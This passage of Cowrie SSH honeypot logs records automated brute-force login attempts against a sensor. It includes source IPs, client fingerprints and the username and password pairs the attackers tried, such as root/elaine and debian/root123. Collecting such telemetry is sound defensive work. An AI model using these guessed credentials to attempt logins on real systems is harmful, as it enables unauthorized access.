{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:59.419838Z","src_ip":"109.237.96.109","session":"1e317b099b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12123434","message":"login attempt [root/12123434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:59.677183Z","src_ip":"109.237.96.109","session":"1e317b099b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:17:00.765187Z","src_ip":"109.237.96.109","session":"1e317b099b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":43998,"dst_ip":"10.17.0.5","dst_port":22,"session":"7453cf1c91bb","protocol":"ssh","message":"New connection: 103.27.238.114:43998 (10.17.0.5:22) [session: 7453cf1c91bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:17:47.870748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:17:47.875304Z","src_ip":"103.27.238.114","session":"7453cf1c91bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:17:48.128446Z","src_ip":"103.27.238.114","session":"7453cf1c91bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elaine","message":"login attempt [root/elaine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:17:48.887816Z","src_ip":"103.27.238.114","session":"7453cf1c91bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:17:50.143351Z","src_ip":"103.27.238.114","session":"7453cf1c91bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54514,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ff0ebe62c7f","protocol":"ssh","message":"New connection: 103.153.68.219:54514 (159.203.135.109:22) [session: 6ff0ebe62c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:07.192034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:07.196681Z","src_ip":"103.153.68.219","session":"6ff0ebe62c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:07.448121Z","src_ip":"103.153.68.219","session":"6ff0ebe62c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mario","message":"login attempt [root/mario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:08.203197Z","src_ip":"103.153.68.219","session":"6ff0ebe62c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:09.457611Z","src_ip":"103.153.68.219","session":"6ff0ebe62c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.27.130","src_port":56338,"dst_ip":"10.17.0.5","dst_port":22,"session":"e46655f7eaf2","protocol":"ssh","message":"New connection: 118.196.27.130:56338 (10.17.0.5:22) [session: e46655f7eaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:13.729598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:13.763861Z","src_ip":"118.196.27.130","session":"e46655f7eaf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:14.056111Z","src_ip":"118.196.27.130","session":"e46655f7eaf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:14.960888Z","src_ip":"118.196.27.130","session":"e46655f7eaf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":53272,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8346d12aea4","protocol":"ssh","message":"New connection: 115.135.235.126:53272 (10.17.0.5:22) [session: c8346d12aea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:15.108379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:15.113141Z","src_ip":"115.135.235.126","session":"c8346d12aea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:15.381752Z","src_ip":"115.135.235.126","session":"c8346d12aea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"root123","message":"login attempt [debian/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:16.525630Z","src_ip":"115.135.235.126","session":"c8346d12aea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:17.228957Z","src_ip":"118.196.27.130","session":"e46655f7eaf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:17.828865Z","src_ip":"115.135.235.126","session":"c8346d12aea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:25.648844Z","src_ip":"147.45.211.215","session":"5b083c49e58e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60420,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f4f3332ca59","protocol":"ssh","message":"New connection: 185.236.22.41:60420 (159.203.135.109:22) [session: 8f4f3332ca59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:28.429811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:28.434739Z","src_ip":"185.236.22.41","session":"8f4f3332ca59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:28.561439Z","src_ip":"185.236.22.41","session":"8f4f3332ca59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2007","message":"login attempt [root/artem2007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:28.907313Z","src_ip":"185.236.22.41","session":"8f4f3332ca59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:30.215717Z","src_ip":"185.236.22.41","session":"8f4f3332ca59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":42302,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc1ec6f70ed","protocol":"ssh","message":"New connection: 45.173.103.113:42302 (10.17.0.5:22) [session: fcc1ec6f70ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:30.764277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:30.769140Z","src_ip":"45.173.103.113","session":"fcc1ec6f70ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:30.875139Z","src_ip":"45.173.103.113","session":"fcc1ec6f70ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test12#","message":"login attempt [root/test12#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:31.330602Z","src_ip":"45.173.103.113","session":"fcc1ec6f70ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:18:32.439555Z","src_ip":"45.173.103.113","session":"fcc1ec6f70ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":55260,"dst_ip":"10.17.0.5","dst_port":22,"session":"e851b24ad952","protocol":"ssh","message":"New connection: 115.135.235.126:55260 (10.17.0.5:22) [session: e851b24ad952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:19:59.266151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:19:59.270544Z","src_ip":"115.135.235.126","session":"e851b24ad952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:19:59.551254Z","src_ip":"115.135.235.126","session":"e851b24ad952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubadmin","password":"ubadmin","message":"login attempt [ubadmin/ubadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:00.733641Z","src_ip":"115.135.235.126","session":"e851b24ad952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:02.045725Z","src_ip":"115.135.235.126","session":"e851b24ad952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":48308,"dst_ip":"10.17.0.5","dst_port":22,"session":"852071e94485","protocol":"ssh","message":"New connection: 45.173.103.113:48308 (10.17.0.5:22) [session: 852071e94485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:13.820525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:13.826115Z","src_ip":"45.173.103.113","session":"852071e94485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-